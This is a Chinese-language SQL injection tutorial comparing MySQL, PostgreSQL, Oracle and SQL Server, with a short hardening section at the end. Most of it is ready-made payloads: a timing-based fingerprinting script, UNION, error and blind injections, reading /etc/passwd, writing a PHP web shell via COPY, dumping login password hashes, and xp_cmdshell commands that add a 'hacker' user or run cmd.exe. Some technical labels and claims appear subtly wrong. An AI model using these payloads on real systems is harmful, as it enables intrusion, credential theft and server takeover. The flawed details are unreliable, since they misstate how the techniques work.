一、为什么要关注数据库差异

在实际渗透中,目标用的数据库可能不是 MySQL。不同数据库在语法、函数、权限模型上差异巨大。一篇 payload 在 MySQL 上能用,换 Oracle 可能直接报错。理解这些差异,才能在实战中快速切换。

二、数据库指纹识别

2.1 基于特征函数

-- MySQL
SELECT @@version, @@version_compile_os, USER()

-- PostgreSQL
SELECT version(), current_user, current_database()

-- Oracle
SELECT banner FROM v$version; SELECT user FROM dual;

-- SQL Server
SELECT @@version, DB_NAME(), SYSTEM_USER

2.2 盲注指纹(无回显场景)

-- 延时函数判断
MySQL: SELECT SLEEP(3)
PG:    SELECT pg_sleep(3)
MSSQL: WAITFOR DELAY '0:0:3'

-- 报错函数判断
MySQL: updatexml(1,concat(0x7e,@@version,0x7e),1)
-- 返回: XPATH syntax error: '~8.0.36~'

PG: SELECT CAST(version() AS int)
-- 返回: invalid input syntax for type integer: "PostgreSQL..."

MSSQL: SELECT CONVERT(int,@@version)
-- 返回: Conversion failed when converting...

2.3 指纹识别脚本

def detect_dbms(url, param):
    """通过延时特征判断数据库类型"""
    tests = {
        'MySQL':  f"admin' AND SLEEP(3)-- -",
        'PG':     f"admin' AND pg_sleep(3)-- -",
        'MSSQL':  f"admin'; WAITFOR DELAY '0:0:3'-- -",
        'Oracle': f"admin' AND DBMS_LOCK.SLEEP(3)-- -",
    }
    
    for dbms, payload in tests.items():
        start = time.time()
        requests.get(url, params={param: payload})
        elapsed = time.time() - start
        if elapsed >= 2.5:
            return dbms
    
    return "Unknown"

三、MySQL 注入特性

3.1 特有函数列表

函数 作用 示例
CONCAT() 字符串拼接 CONCAT(a,b,c)
GROUP_CONCAT() 多行拼一行 GROUP_CONCAT(name SEPARATOR ',')
IF() 条件判断 IF(cond, true_val, false_val)
SLEEP() 延时 SLEEP(3)
BENCHMARK() 计算延时 BENCHMARK(1000000, SHA1('test'))
LOAD_FILE() 读文件 LOAD_FILE('/etc/passwd')
INTO OUTFILE 写文件 INTO OUTFILE '/path/to/file'
UPDATEXML() 报错注入 updatexml(1,~expr~,1)
EXTRACTVALUE() 报错注入 extractvalue(1,~expr~)
CHAR() ASCII 转字符 CHAR(97,98,99) = 'abc'
HEX() / UNHEX() 十六进制 0x616263 = 'abc'
@@variable 系统变量 @@secure_file_priv

3.2 MySQL 5.7 vs 8.0 差异

-- authentication_string 格式
-- 5.7: mysql_native_password (*40位hex)
-- 8.0: caching_sha2_password

-- sys schema 默认启用(5.7+)
SELECT * FROM sys.schema_table_statistics;

-- 窗口函数(8.0+)
SELECT name, ROW_NUMBER() OVER (ORDER BY id) FROM products;

-- CTE 递归(8.0+)
WITH RECURSIVE cte AS (...) SELECT * FROM cte;

3.3 MySQL 特有注释

-- 内联版本注释(版本号低于时忽略)
UNION /*!50000SELECT*/ 1,2,3
-- MySQL 5.0+ 展开为 SELECT,低版本忽略

-- 条件注释(版本号低于时展开)
/*!50700SELECT VERSION()*/
-- 5.7+ 执行里面的语句

四、PostgreSQL 注入特性

4.1 特有函数列表

函数 作用 示例
STRING_AGG() 多行拼一行 STRING_AGG(name, ',')
pg_sleep() 延时 pg_sleep(3)
COPY 读写文件 COPY TO '/path/file'
DO $$...$$ 执行 PL/pgSQL DO $$ BEGIN ... END $$;
REGEXP_REPLACE() 正则替换 REGEXP_REPLACE(s, p, r)
` `
current_user 当前用户 SELECT current_user
current_database() 当前库 SELECT current_database()
information_schema 兼容 schema 支持但建议用 PG 专属表

4.2 PG 特有的文件读写

-- 读取文件(需要超级用户或 pg_read_server_files 角色)
SELECT pg_read_file('/etc/passwd');

-- 写入文件(COPY FROM PROGRAM)
COPY (SELECT '<?php eval($_GET[1]);?>') TO '/var/www/html/shell.php';

-- 新版本用 pg_write_file(PG 16+)
SELECT pg_write_file('/path/file', 'content');

4.3 PG 的堆叠天然支持

import psycopg2
conn = psycopg2.connect("dbname=shop user=postgres")
cur = conn.cursor()
cur.execute("SELECT 1; DROP TABLE test_table;")  # 直接执行多条!

4.4 PG 的报错注入技巧

-- 类型转换溢出
admin' AND (SELECT CAST((SELECT version()) AS int))-- -
-- invalid input syntax for type integer

-- 数组越界
admin' AND (SELECT (SELECT ARRAY[1,2,3])[999])-- -

-- 除以零
admin' AND (SELECT 1/(SELECT 0))-- -

-- RAISE EXCEPTION(需要 PL/pgSQL 权限)
DO $$ BEGIN RAISE EXCEPTION '%', (SELECT version()); END $$;

4.5 PG 的 information_schema 限制

PostgreSQL 的 information_schema.tables 只返回当前用户有权限看到的表。如果权限不够,需要查 PG 专属表:

-- PG 专属系统表
SELECT schemaname, tablename FROM pg_tables WHERE schemaname='public';
SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users';
SELECT datname FROM pg_database;
SELECT rolname FROM pg_roles;

五、Oracle 注入特性

5.1 特有函数列表

函数 作用 示例
CONCAT() 拼接(双参数) CONCAT(a, b)
DECODE() 条件判断 DECODE(col, val1, res1, default)
SYS_CONTEXT() 系统上下文 SYS_CONTEXT('USERENV','DB_NAME')
DBMS_LOCK.SLEEP() 延时 DBMS_LOCK.SLEEP(3)
UTL_INADDR.GET_HOST_NAME() DNS 解析 可用于外带数据
UTL_HTTP.REQUEST() HTTP 请求 可用于外带数据
XSLTRANSFORM() 报错注入 类似 updatexml
DBMS_XDB 文件操作 12c+

5.2 Oracle 关键差异

-- 必须有表名!没有 SELECT 1 FROM ... 会报错
SELECT 1 FROM dual;

-- 字符串拼接用 ||
SELECT 'a' || 'b' FROM dual;

-- 没有 LIMIT!用 ROWNUM 分页
SELECT * FROM (SELECT a, ROWNUM rn FROM t WHERE ROWNUM<=10) WHERE rn>=1;

-- 没有 GROUP_CONCAT!
-- Oracle 11g 用 WM_CONCAT(非官方)
-- Oracle 12c 用 LISTAGG
SELECT LISTAGG(name, ',') WITHIN GROUP (ORDER BY name) FROM users;

5.3 Oracle 注入 payload

-- UNION 注入
SELECT * FROM products WHERE id=1 UNION SELECT 1,username||':'||password,3,4 FROM users-- -

-- 报错注入(XSLTRANSFORM)
SELECT XSLTRANSFORM(
  XMLTYPE('<root/>'), 
  XMLTYPE('<?xml version="1.0"?><xsl:stylesheet version="1.0"><xsl:template match="/"><xsl:message terminate="yes">' || (SELECT version FROM v$instance) || '</xsl:message></xsl:template></xsl:stylesheet>')
) FROM dual

-- 时间盲注
SELECT CASE WHEN (SELECT current_user FROM dual)='SYS' THEN DBMS_LOCK.SLEEP(3) ELSE 0 END FROM dual

5.4 Oracle 数据字典表

-- 数据库用户和表
SELECT username FROM all_users;
SELECT owner, table_name FROM all_tables WHERE owner='SHOP';
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';

-- 数据库版本
SELECT banner FROM v$version;
SELECT version FROM v$instance;

-- 当前用户权限
SELECT privilege FROM user_sys_privs;
SELECT role FROM user_role_privs;

5.5 Oracle 权限分类

角色 权限 风险
CONNECT 连接数据库
RESOURCE 创建对象
DBA 管理员 极高
IMP_FULL_DATABASE 导入任意数据 极高
CREATE SESSION 基础连接

六、SQL Server (MSSQL) 注入特性

6.1 特有函数列表

函数 作用 示例
CONVERT() / CAST() 类型转换 CONVERT(int, '123')
ISNULL() 空值处理 ISNULL(col, 'default')
WAITFOR DELAY 延时 WAITFOR DELAY '0:0:3'
DB_NAME() 数据库名 SELECT DB_NAME()
@@version 版本 SELECT @@version
SUSER_SNAME() 登录名 SELECT SUSER_SNAME()
PRINT 输出(可外带) PRINT 'message'

6.2 MSSQL 特有注入技巧

-- 分号堆叠(MSSQL 天然支持)
; SELECT TOP 1 name FROM sys.databases;-- 

-- 注释风格
-- 单行: --
-- 块: /* ... */

-- 报错注入(CONVERT 溢出)
admin' AND CONVERT(int,(SELECT TOP 1 name FROM sys.tables))-- -

-- 时间盲注(WAITFOR DELAY)
admin'; IF (SELECT TOP 1 DB_NAME())='shop' WAITFOR DELAY '0:0:3'-- -

-- 宽字节注入(MSSQL 支持 sp_executesql)
DECLARE @sql nvarchar(max); SET @sql = (SELECT TOP 1 name FROM sys.databases); EXEC(@sql);-- -

6.3 MSSQL 系统表

-- 数据库列表
SELECT name FROM sys.databases;

-- 指定库的表(需要切换上下文)
USE shop; SELECT name FROM sys.tables;

-- 列
SELECT name FROM sys.columns WHERE object_id=(SELECT object_id('users'));

-- 登录用户和密码哈希
SELECT name, master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins;

6.4 MSSQL 的危险存储过程

-- xp_cmdshell(执行系统命令,默认关闭)
; EXEC xp_cmdshell 'whoami';

-- 开启 xp_cmdshell
; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
; EXEC xp_cmdshell 'net user hacker P@ssw0rd /add';

-- OLE Automation
; DECLARE @o int; EXEC sp_oacreate 'wscript.shell', @o OUTPUT;
; EXEC sp_oamethod @o, 'run', NULL, 'cmd.exe /c calc.exe';

-- 读取注册表
; EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'ProductName';

七、跨数据库通用技巧

7.1 字符串拼接对比

-- MySQL / PG / Oracle (参数不同)
MySQL: CONCAT(a, b, c)
PG:    a || b || c
Oracle: CONCAT(a, b)  -- 只能两个参数!

-- MSSQL: +
MSSQL:  a + b + c

7.2 延时函数对比

MySQL:  SLEEP(3)          / BENCHMARK(1000000, SHA1('x'))
PG:     pg_sleep(3)
Oracle: DBMS_LOCK.SLEEP(3)
MSSQL:  WAITFOR DELAY '0:0:3'

7.3 多行拼接函数对比

MySQL:  GROUP_CONCAT(col SEPARATOR ',')
PG:     STRING_AGG(col, ',')
Oracle: LISTAGG(col, ',') WITHIN GROUP (ORDER BY col)
MSSQL:  FOR XML PATH('')    -- FOR XML PATH + STUFF 组合

7.4 文件操作对比

数据库 读文件 写文件 需要权限
MySQL LOAD_FILE() INTO OUTFILE FILE 权限 + secure_file_priv
PG pg_read_file() COPY TO 超级用户或特定角色
Oracle UTL_FILE UTL_FILE DBA + directory 对象
MSSQL BULK INSERT xp_cmdshell bcp sysadmin + 磁盘权限

八、防御中的数据库差异

8.1 MySQL 加固

-- 禁用文件操作
SET GLOBAL secure_file_priv = NULL;
SET GLOBAL local_infile = OFF;

-- 限制 INFORMATION_SCHEMA
CREATE ROLE restricted_user;
REVOKE ALL ON *.* FROM restricted_user;
REVOKE SHOW DATABASES ON *.* FROM restricted_user;

-- 清理历史危险函数
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;

8.2 PostgreSQL 加固

-- 限制 COPY 权限
REVOKE ALL ON FUNCTION pg_read_file(text) FROM PUBLIC;
REVOKE ALL ON FUNCTION pg_write_file(text, text) FROM PUBLIC;

-- 限制系统表访问
REVOKE ALL ON pg_tables FROM PUBLIC;

-- 移除不必要的扩展
DROP EXTENSION IF EXISTS 'pg_readme';

8.3 Oracle 加固

-- 锁死关键账户
ALTER USER SYS ACCOUNT LOCK;
ALTER USER SYSTEM ACCOUNT LOCK;

-- 禁用 UTL_HTTP 和 UTL_FILE(如果不需要)
REVOKE EXECUTE ON UTL_HTTP FROM PUBLIC;
REVOKE EXECUTE ON UTL_FILE FROM PUBLIC;
REVOKE EXECUTE ON DBMS_LOB FROM PUBLIC;

-- 设置合理的密码复杂度
ALTER PROFILE DEFAULT LIMIT PASSWORD_LIFE_TIME 90;

8.4 MSSQL 加固

-- 关闭 xp_cmdshell
sp_configure 'show advanced options', 1; RECONFIGURE;
sp_configure 'xp_cmdshell', 0; RECONFIGURE;

-- 关闭 OLE Automation
sp_configure 'Ole Automation Procedures', 0; RECONFIGURE;

-- 移除危险过程
DROP PROCEDURE IF EXISTS xp_cmdshell_alt;

理解数据库差异让你在渗透时能快速适配 payload,在防御时能针对性加固。但无论底层是什么数据库,参数绑定 + 最小权限 + 输入验证 都是永恒的核心防御策略。